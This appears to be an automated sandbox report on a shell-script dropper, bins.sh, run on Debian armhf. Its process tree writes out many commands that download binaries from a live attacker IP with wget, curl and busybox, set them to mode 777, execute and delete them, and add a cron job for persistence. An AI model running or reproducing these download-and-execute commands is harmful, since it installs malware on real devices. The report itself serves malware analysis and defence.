Analysis

  • max time kernel
    22s
  • max time network
    75s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    28/10/2024, 06:53

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241028-hnmfrsshrd
  • SHA256 a42b9535d1f64e52d6c1ab42f156b47099ba25c546a8d577c98f459e9b1ae32d
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 12 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:649
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:651
        • /usr/bin/wget
          wget http://87.120.84.230/bins/20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
          2⤵
          • Writes file to tmp directory
          PID:653
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:676
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
          2⤵
          • Writes file to tmp directory
          PID:682
        • /bin/chmod
          chmod 777 20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
          2⤵
          • File and Directory Permissions Modification
          PID:683
        • /tmp/20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
          ./20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
          2⤵
          • Executes dropped EXE
          PID:684
        • /bin/rm
          rm 20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
          2⤵
            PID:686
          • /usr/bin/wget
            wget http://87.120.84.230/bins/OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
            2⤵
            • Writes file to tmp directory
            PID:687
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:694
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
            2⤵
            • Writes file to tmp directory
            PID:706
          • /bin/chmod
            chmod 777 OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
            2⤵
            • File and Directory Permissions Modification
            PID:711
          • /tmp/OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
            ./OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
            2⤵
            • Executes dropped EXE
            PID:713
          • /bin/rm
            rm OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
            2⤵
              PID:715
            • /usr/bin/wget
              wget http://87.120.84.230/bins/4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui
              2⤵
              • Writes file to tmp directory
              PID:716
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:729
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui
              2⤵
              • Writes file to tmp directory
              PID:739
            • /bin/chmod
              chmod 777 4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui
              2⤵
              • File and Directory Permissions Modification
              PID:742
            • /tmp/4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui
              ./4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui
              2⤵
              • Executes dropped EXE
              PID:743
            • /bin/rm
              rm 4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui
              2⤵
                PID:745
              • /usr/bin/wget
                wget http://87.120.84.230/bins/kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z
                2⤵
                • Writes file to tmp directory
                PID:746
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:749
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z
                2⤵
                • Writes file to tmp directory
                PID:762
              • /bin/chmod
                chmod 777 kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z
                2⤵
                • File and Directory Permissions Modification
                PID:767
              • /tmp/kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z
                ./kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z
                2⤵
                • Executes dropped EXE
                PID:768
              • /bin/rm
                rm kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z
                2⤵
                  PID:772
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA
                  2⤵
                  • Writes file to tmp directory
                  PID:774
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:785
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA
                  2⤵
                  • Writes file to tmp directory
                  PID:786
                • /bin/chmod
                  chmod 777 O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA
                  2⤵
                  • File and Directory Permissions Modification
                  PID:787
                • /tmp/O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA
                  ./O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA
                  2⤵
                  • Executes dropped EXE
                  PID:788
                • /bin/rm
                  rm O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA
                  2⤵
                    PID:790
                  • /usr/bin/wget
                    wget http://87.120.84.230/bins/uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie
                    2⤵
                    • Writes file to tmp directory
                    PID:791
                  • /usr/bin/curl
                    curl -O http://87.120.84.230/bins/uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:792
                  • /bin/busybox
                    /bin/busybox wget http://87.120.84.230/bins/uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie
                    2⤵
                    • Writes file to tmp directory
                    PID:793
                  • /bin/chmod
                    chmod 777 uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie
                    2⤵
                    • File and Directory Permissions Modification
                    PID:794
                  • /tmp/uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie
                    ./uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie
                    2⤵
                    • Executes dropped EXE
                    PID:795
                  • /bin/rm
                    rm uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie
                    2⤵
                      PID:797
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK
                      2⤵
                      • Writes file to tmp directory
                      PID:798
                    • /usr/bin/curl
                      curl -O http://87.120.84.230/bins/yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK
                      2⤵
                      • Checks CPU configuration
                      • Writes file to tmp directory
                      PID:799
                    • /bin/busybox
                      /bin/busybox wget http://87.120.84.230/bins/yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK
                      2⤵
                      • Writes file to tmp directory
                      PID:800
                    • /bin/chmod
                      chmod 777 yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK
                      2⤵
                      • File and Directory Permissions Modification
                      PID:801
                    • /tmp/yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK
                      ./yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK
                      2⤵
                      • Executes dropped EXE
                      PID:802
                    • /bin/rm
                      rm yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK
                      2⤵
                        PID:804
                      • /usr/bin/wget
                        wget http://87.120.84.230/bins/3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG
                        2⤵
                        • Writes file to tmp directory
                        PID:805
                      • /usr/bin/curl
                        curl -O http://87.120.84.230/bins/3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:806
                      • /bin/busybox
                        /bin/busybox wget http://87.120.84.230/bins/3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG
                        2⤵
                        • Writes file to tmp directory
                        PID:807
                      • /bin/chmod
                        chmod 777 3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG
                        2⤵
                        • File and Directory Permissions Modification
                        PID:810
                      • /tmp/3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG
                        ./3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG
                        2⤵
                        • Executes dropped EXE
                        PID:811
                      • /bin/rm
                        rm 3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG
                        2⤵
                          PID:813
                        • /usr/bin/wget
                          wget http://87.120.84.230/bins/EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS
                          2⤵
                          • Writes file to tmp directory
                          PID:814
                        • /usr/bin/curl
                          curl -O http://87.120.84.230/bins/EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:815
                        • /bin/busybox
                          /bin/busybox wget http://87.120.84.230/bins/EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS
                          2⤵
                          • Writes file to tmp directory
                          PID:816
                        • /bin/chmod
                          chmod 777 EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS
                          2⤵
                          • File and Directory Permissions Modification
                          PID:817
                        • /tmp/EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS
                          ./EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS
                          2⤵
                          • Executes dropped EXE
                          • Renames itself
                          • Reads runtime system information
                          PID:818
                          • /bin/sh
                            sh -c "crontab -l"
                            3⤵
                              PID:820
                              • /usr/bin/crontab
                                crontab -l
                                4⤵
                                • Reads runtime system information
                                PID:821
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:822
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  • Reads runtime system information
                                  PID:823
                            • /bin/rm
                              rm EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS
                              2⤵
                                PID:825
                              • /usr/bin/wget
                                wget http://87.120.84.230/bins/4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv
                                2⤵
                                  PID:828
                                • /usr/bin/curl
                                  curl -O http://87.120.84.230/bins/4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv
                                  2⤵
                                  • Checks CPU configuration
                                  PID:830
                                • /bin/busybox
                                  /bin/busybox wget http://87.120.84.230/bins/4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:831
                                • /bin/chmod
                                  chmod 777 4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:832
                                • /tmp/4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv
                                  ./4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv
                                  2⤵
                                  • Executes dropped EXE
                                  PID:833
                                • /bin/rm
                                  rm 4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv
                                  2⤵
                                    PID:834
                                  • /usr/bin/wget
                                    wget http://87.120.84.230/bins/u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC
                                    2⤵
                                      PID:835
                                    • /usr/bin/curl
                                      curl -O http://87.120.84.230/bins/u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC
                                      2⤵
                                      • Checks CPU configuration
                                      • Reads runtime system information
                                      PID:836
                                    • /bin/busybox
                                      /bin/busybox wget http://87.120.84.230/bins/u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:837
                                    • /bin/chmod
                                      chmod 777 u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:838
                                    • /tmp/u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC
                                      ./u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC
                                      2⤵
                                      • Executes dropped EXE
                                      PID:839
                                    • /bin/rm
                                      rm u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC
                                      2⤵
                                        PID:840
                                      • /usr/bin/wget
                                        wget http://87.120.84.230/bins/2Zr85SzHrHIZpJirZ4bPMTODUUZZuuNQs8
                                        2⤵
                                          PID:841
                                        • /usr/bin/curl
                                          curl -O http://87.120.84.230/bins/2Zr85SzHrHIZpJirZ4bPMTODUUZZuuNQs8
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          PID:842
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.84.230/bins/2Zr85SzHrHIZpJirZ4bPMTODUUZZuuNQs8
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:843
                                        • /bin/chmod
                                          chmod 777 2Zr85SzHrHIZpJirZ4bPMTODUUZZuuNQs8
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:844
                                        • /tmp/2Zr85SzHrHIZpJirZ4bPMTODUUZZuuNQs8
                                          ./2Zr85SzHrHIZpJirZ4bPMTODUUZZuuNQs8
                                          2⤵
                                          • Executes dropped EXE
                                          PID:845
                                        • /bin/rm
                                          rm 2Zr85SzHrHIZpJirZ4bPMTODUUZZuuNQs8
                                          2⤵
                                            PID:846
                                          • /usr/bin/wget
                                            wget http://87.120.84.230/bins/HDjjT3VZRkPBsxVNj4oqaJKkID6MviW6qF
                                            2⤵
                                              PID:847

                                          Network

                                                MITRE ATT&CK Enterprise v15

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY

                                                • Path /tmp/20ki4GMKxEhxoLqQjxIhaeLj0CKB8DlNZY
                                                • Size 129KB
                                                • SHA256 b62a7cb65dda1cb1ae995b13b62d20289f43b7bc560211484cfdc98c0d9b5f12
                                                • MD5 SHA1 SHA512 SSDEEP

                                                2Zr85SzHrHIZpJirZ4bPMTODUUZZuuNQs8

                                                • Path /tmp/2Zr85SzHrHIZpJirZ4bPMTODUUZZuuNQs8
                                                • Size 108KB
                                                • SHA256 138a80e023ab0bbb8b2259cf3633c94c39e6f68df2be2ad01ef08590249e662c
                                                • MD5 SHA1 SHA512 SSDEEP

                                                3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG

                                                • Path /tmp/3Q5OOatNbvGEfLoIjieulgKr4hlUw9YupG
                                                • Size 129KB
                                                • SHA256 ed7e61403d47c0319eea05db0cba4d17bfb1594621d6722bfe43cffecacdf495
                                                • MD5 SHA1 SHA512 SSDEEP

                                                4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui

                                                • Path /tmp/4AcXmxvNSw3AalqTPFwXBm16AC0eXQT9Ui
                                                • Size 88KB
                                                • SHA256 a585eff62bec554d3d7f23aaf9b298a15eb328e8968352339db915ef427f27bd
                                                • MD5 SHA1 SHA512 SSDEEP

                                                4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv

                                                • Path /tmp/4i5A6cAmigaXKnu1hsWvCQ4LebK5gR98uv
                                                • Size 122KB
                                                • SHA256 b254f9a6df1e7aae5181abf014b9d574c959ab71bdfd3a2b21022446c583d843
                                                • MD5 SHA1 SHA512 SSDEEP

                                                EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS

                                                • Path /tmp/EzgMRtgZ1YoyAmXEdKr7jLNppPO21hbITS
                                                • Size 158KB
                                                • SHA256 f09f8db2883da603f963189ef3b8185b179832de8b2e526ef63fe8b96847cc7b
                                                • MD5 SHA1 SHA512 SSDEEP

                                                O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA

                                                • Path /tmp/O4XrOGB0PWNhMRJWYb3eh74OtbbyiLRzvA
                                                • Size 95KB
                                                • SHA256 adb7828df990cedc9f301891e725c547656967d827ce9cfdf3f6e8fa8242618b
                                                • MD5 SHA1 SHA512 SSDEEP

                                                OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h

                                                • Path /tmp/OJjaAwTNBxpz3pf9X84YoKcedDD5OxtV4h
                                                • Size 93KB
                                                • SHA256 24689f385c263c42a28dd1498049171abc633faf91b5df2a738a81145d929bd6
                                                • MD5 SHA1 SHA512 SSDEEP

                                                kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z

                                                • Path /tmp/kCz9tmOI7m7fFqsqyPerBPFauKdpzNM59z
                                                • Size 101KB
                                                • SHA256 17441ed8bf165953a69907fb286dd47f2de3f94b744da25c889f86514b904791
                                                • MD5 SHA1 SHA512 SSDEEP

                                                u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC

                                                • Path /tmp/u0bp4qcR8XFdn4fZU7E5HTezTG7PdNnwZC
                                                • Size 100KB
                                                • SHA256 d52f8bcb15a590aa5624c446091f1cd0705b68e4647debaeecf8cfa1fe425bd2
                                                • MD5 SHA1 SHA512 SSDEEP

                                                uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie

                                                • Path /tmp/uATf0dUEXLacqsrzxgpSm5eSrv1Ao9Z7Ie
                                                • Size 84KB
                                                • SHA256 aaf14287d7a971d4541527262e85e5930bbb7f506cff4808d712843be9f05dae
                                                • MD5 SHA1 SHA512 SSDEEP

                                                yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK

                                                • Path /tmp/yrI5r9AckmvAtKQGkBWSb9ej7DzTaH5MjK
                                                • Size 80KB
                                                • SHA256 100042d7138b4348a13c54c191d501d125b7fea7631382e7d0e9d7251057ce97
                                                • MD5 SHA1 SHA512 SSDEEP

                                                tmp.FdDVRh

                                                • Path /var/spool/cron/crontabs/tmp.FdDVRh
                                                • Size 210B
                                                • SHA256 1fc4f41827142d8935c00a33739f5ab0ac61511528b85975f7d489c8c3fc79ae
                                                • MD5 SHA1 SHA512